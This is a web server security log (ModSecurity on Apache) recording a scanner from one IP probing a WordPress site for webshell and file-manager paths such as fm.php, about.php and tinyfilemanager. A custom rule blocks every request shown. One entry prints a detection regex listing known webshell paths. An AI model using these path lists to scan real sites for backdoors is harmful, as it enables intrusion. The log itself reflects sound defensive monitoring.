[Sat May 23 20:51:51.800796 2026] [:error] [pid 30941:tid 30993] [client 4.213.99.137:1289] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xx.php"] [unique_id "ahGi53TIgjSDhiZmvlXu0gAAAFE"]
[Sat May 23 20:51:52.082607 2026] [:error] [pid 44296:tid 44322] [client 4.213.99.137:1562] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/about.php"] [unique_id "ahGi6JdrUdFI6ijvMkmMVgAAAVg"]
[Sat May 23 20:51:52.357064 2026] [:error] [pid 30941:tid 30986] [client 4.213.99.137:1437] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/about.php"] [unique_id "ahGi6HTIgjSDhiZmvlXu1QAAAEo"]
[Sat May 23 20:51:52.652836 2026] [:error] [pid 44325:tid 44338] [client 4.213.99.137:1338] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/about.php"] [unique_id "ahGi6FgUQb4puB_2yV8lwQAAAYo"]
[Sat May 23 20:51:52.942657 2026] [:error] [pid 44325:tid 44345] [client 4.213.99.137:1321] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/about.php"] [unique_id "ahGi6FgUQb4puB_2yV8lwgAAAZE"]
[Sat May 23 20:51:53.254664 2026] [:error] [pid 30941:tid 30981] [client 4.213.99.137:1557] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "ahGi6XTIgjSDhiZmvlXu2QAAAEU"]
[Sat May 23 20:51:53.534441 2026] [:error] [pid 30940:tid 30955] [client 4.213.99.137:1324] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "ahGi6ZqUP2XZmzp7RDoM4QAAAAY"]
[Sat May 23 20:51:53.802843 2026] [:error] [pid 30941:tid 30997] [client 4.213.99.137:1544] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "ahGi6XTIgjSDhiZmvlXu3AAAAFU"]
[Sat May 23 20:51:54.070824 2026] [:error] [pid 30941:tid 31000] [client 4.213.99.137:1500] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "ahGi6nTIgjSDhiZmvlXu3QAAAFg"]
[Sat May 23 20:51:54.362346 2026] [:error] [pid 30941:tid 30980] [client 4.213.99.137:1334] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws81.php"] [unique_id "ahGi6nTIgjSDhiZmvlXu3wAAAEQ"]
[Sat May 23 20:51:54.635746 2026] [:error] [pid 30941:tid 30983] [client 4.213.99.137:1333] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws81.php"] [unique_id "ahGi6nTIgjSDhiZmvlXu4AAAAEc"]
[Sat May 23 20:51:54.907846 2026] [:error] [pid 30941:tid 30996] [client 4.213.99.137:1508] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws81.php"] [unique_id "ahGi6nTIgjSDhiZmvlXu4gAAAFQ"]
[Sat May 23 20:51:55.264827 2026] [:error] [pid 44325:tid 44334] [client 4.213.99.137:1307] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws81.php"] [unique_id "ahGi61gUQb4puB_2yV8lxQAAAYY"]
[Sat May 23 20:51:55.546815 2026] [:error] [pid 30941:tid 30990] [client 4.213.99.137:1587] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "ahGi63TIgjSDhiZmvlXu5AAAAE4"]
[Sat May 23 20:51:55.816040 2026] [:error] [pid 44325:tid 44339] [client 4.213.99.137:1549] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "ahGi61gUQb4puB_2yV8lxwAAAYs"]
[Sat May 23 20:51:56.089341 2026] [:error] [pid 44325:tid 44330] [client 4.213.99.137:1572] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "ahGi7FgUQb4puB_2yV8lyAAAAYI"]
[Sat May 23 20:51:56.419437 2026] [:error] [pid 30941:tid 30982] [client 4.213.99.137:1538] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "ahGi7HTIgjSDhiZmvlXu6QAAAEY"]
[Sat May 23 20:51:56.698855 2026] [:error] [pid 30941:tid 30989] [client 4.213.99.137:1586] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ca5.php"] [unique_id "ahGi7HTIgjSDhiZmvlXu6wAAAE0"]
[Sat May 23 20:51:56.979322 2026] [:error] [pid 30941:tid 30978] [client 4.213.99.137:1588] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ca5.php"] [unique_id "ahGi7HTIgjSDhiZmvlXu7QAAAEI"]
[Sat May 23 20:51:57.251677 2026] [:error] [pid 30941:tid 30991] [client 4.213.99.137:1560] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ca5.php"] [unique_id "ahGi7XTIgjSDhiZmvlXu7gAAAE8"]
[Sat May 23 20:51:57.541796 2026] [:error] [pid 30940:tid 30963] [client 4.213.99.137:1931] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ca5.php"] [unique_id "ahGi7ZqUP2XZmzp7RDoM4wAAAA4"]
[Sat May 23 20:51:57.928534 2026] [:error] [pid 30941:tid 30980] [client 4.213.99.137:1283] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/install.php"] [unique_id "ahGi7XTIgjSDhiZmvlXu8gAAAEQ"]
[Sat May 23 20:51:58.201357 2026] [:error] [pid 30942:tid 31018] [client 4.213.99.137:1337] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/install.php"] [unique_id "ahGi7tUosz64YFiBlG11ugAAAI8"]
[Sat May 23 20:51:58.491676 2026] [:error] [pid 30941:tid 30990] [client 4.213.99.137:1593] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/install.php"] [unique_id "ahGi7nTIgjSDhiZmvlXu9AAAAE4"]
[Sat May 23 20:51:58.783044 2026] [:error] [pid 44326:tid 44357] [client 4.213.99.137:1298] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/install.php"] [unique_id "ahGi7syrPrcAqE-FOKKgMAAAAcI"]
[Sat May 23 20:51:59.073155 2026] [:error] [pid 44326:tid 44361] [client 4.213.99.137:1284] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/radio.php"] [unique_id "ahGi78yrPrcAqE-FOKKgMgAAAcY"]
[Sat May 23 20:51:59.345654 2026] [:error] [pid 30941:tid 30989] [client 4.213.99.137:1329] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/radio.php"] [unique_id "ahGi73TIgjSDhiZmvlXu-QAAAE0"]
[Sat May 23 20:51:59.640176 2026] [:error] [pid 30941:tid 30988] [client 4.213.99.137:1477] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/radio.php"] [unique_id "ahGi73TIgjSDhiZmvlXu-gAAAEw"]
[Sat May 23 20:51:59.908950 2026] [:error] [pid 44326:tid 44355] [client 4.213.99.137:1288] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/radio.php"] [unique_id "ahGi78yrPrcAqE-FOKKgNQAAAcA"]
[Sat May 23 20:52:00.197659 2026] [:error] [pid 44326:tid 44363] [client 4.213.99.137:1928] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/modern/"] [unique_id "ahGi8MyrPrcAqE-FOKKgNgAAAcg"]
[Sat May 23 20:52:00.504549 2026] [:error] [pid 44326:tid 44379] [client 4.213.99.137:1301] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/modern/"] [unique_id "ahGi8MyrPrcAqE-FOKKgOQAAAdg"]
[Sat May 23 20:52:00.778106 2026] [:error] [pid 30940:tid 30970] [client 4.213.99.137:1327] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/modern/"] [unique_id "ahGi8JqUP2XZmzp7RDoM5AAAABU"]
[Sat May 23 20:52:01.050189 2026] [:error] [pid 30940:tid 30964] [client 4.213.99.137:1318] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/modern/"] [unique_id "ahGi8ZqUP2XZmzp7RDoM5QAAAA8"]
[Sat May 23 20:52:01.327911 2026] [:error] [pid 25876:tid 25897] [client 4.213.99.137:1335] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-signin.php"] [unique_id "ahGi8QSpWUCKPezIBJCuDAAAARM"]
[Sat May 23 20:52:01.598191 2026] [:error] [pid 30940:tid 30965] [client 4.213.99.137:1292] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-signin.php"] [unique_id "ahGi8ZqUP2XZmzp7RDoM5wAAABA"]
[Sat May 23 20:52:01.888420 2026] [:error] [pid 30941:tid 30984] [client 4.213.99.137:1322] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-signin.php"] [unique_id "ahGi8XTIgjSDhiZmvlXu_wAAAEg"]
[Sat May 23 20:52:02.190799 2026] [:error] [pid 30941:tid 30980] [client 4.213.99.137:1930] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-signin.php"] [unique_id "ahGi8nTIgjSDhiZmvlXvAAAAAEQ"]
[Sat May 23 20:52:02.471691 2026] [:error] [pid 30941:tid 30991] [client 4.213.99.137:1585] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Ov-Simple1.php"] [unique_id "ahGi8nTIgjSDhiZmvlXvAgAAAE8"]
[Sat May 23 20:52:02.806565 2026] [:error] [pid 44325:tid 44331] [client 4.213.99.137:1597] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Ov-Simple1.php"] [unique_id "ahGi8lgUQb4puB_2yV8lywAAAYM"]
[Sat May 23 20:52:03.086119 2026] [:error] [pid 30940:tid 30958] [client 4.213.99.137:1386] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Ov-Simple1.php"] [unique_id "ahGi85qUP2XZmzp7RDoM6QAAAAk"]
[Sat May 23 20:52:03.363475 2026] [:error] [pid 44325:tid 44340] [client 4.213.99.137:1604] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Ov-Simple1.php"] [unique_id "ahGi81gUQb4puB_2yV8lzAAAAYw"]
[Sat May 23 20:52:03.648189 2026] [:error] [pid 44296:tid 44313] [client 4.213.99.137:1516] [client 4.213.99.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/fm.php"] [unique_id "ahGi85drUdFI6ijvMkmMWwAAAU8"]
[Sat May 23 20:52:03.936065 2026] [:error] [pid 44296:tid 44318] [client 4.213.99.137:1692] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ftde.php"] [unique_id "ahGi85drUdFI6ijvMkmMXAAAAVQ"]
[Sat May 23 20:52:04.217054 2026] [:error] [pid 30942:tid 31020] [client 4.213.99.137:1541] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ftde.php"] [unique_id "ahGi9NUosz64YFiBlG11vQAAAJE"]
[Sat May 23 20:52:04.516270 2026] [:error] [pid 30940:tid 30973] [client 4.213.99.137:1957] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ftde.php"] [unique_id "ahGi9JqUP2XZmzp7RDoM7QAAABg"]
[Sat May 23 20:52:04.825105 2026] [:error] [pid 44296:tid 44322] [client 4.213.99.137:1577] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "ahGi9JdrUdFI6ijvMkmMXQAAAVg"]
[Sat May 23 20:52:05.151628 2026] [:error] [pid 30940:tid 30961] [client 4.213.99.137:1309] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "ahGi9ZqUP2XZmzp7RDoM7wAAAAw"]
[Sat May 23 20:52:05.436926 2026] [:error] [pid 44296:tid 44301] [client 4.213.99.137:1580] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "ahGi9ZdrUdFI6ijvMkmMXwAAAUM"]
[Sat May 23 20:52:05.789492 2026] [:error] [pid 30942:tid 31013] [client 4.213.99.137:1965] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "ahGi9dUosz64YFiBlG11wAAAAIo"]
[Sat May 23 20:52:06.068484 2026] [:error] [pid 30942:tid 31021] [client 4.213.99.137:1294] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/log.php"] [unique_id "ahGi9tUosz64YFiBlG11wQAAAJI"]
[Sat May 23 20:52:06.337750 2026] [:error] [pid 30941:tid 31000] [client 4.213.99.137:1342] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/log.php"] [unique_id "ahGi9nTIgjSDhiZmvlXvBQAAAFg"]
[Sat May 23 20:52:06.649428 2026] [:error] [pid 30941:tid 30988] [client 4.213.99.137:1693] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/log.php"] [unique_id "ahGi9nTIgjSDhiZmvlXvBgAAAEw"]
[Sat May 23 20:52:06.952851 2026] [:error] [pid 30940:tid 30955] [client 4.213.99.137:1594] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/log.php"] [unique_id "ahGi9pqUP2XZmzp7RDoM8QAAAAY"]
[Sat May 23 20:52:07.283709 2026] [:error] [pid 30941:tid 30977] [client 4.213.99.137:1296] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test.php"] [unique_id "ahGi93TIgjSDhiZmvlXvCQAAAEE"]
[Sat May 23 20:52:07.608736 2026] [:error] [pid 25876:tid 25898] [client 4.213.99.137:1343] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test.php"] [unique_id "ahGi9wSpWUCKPezIBJCuDwAAARQ"]
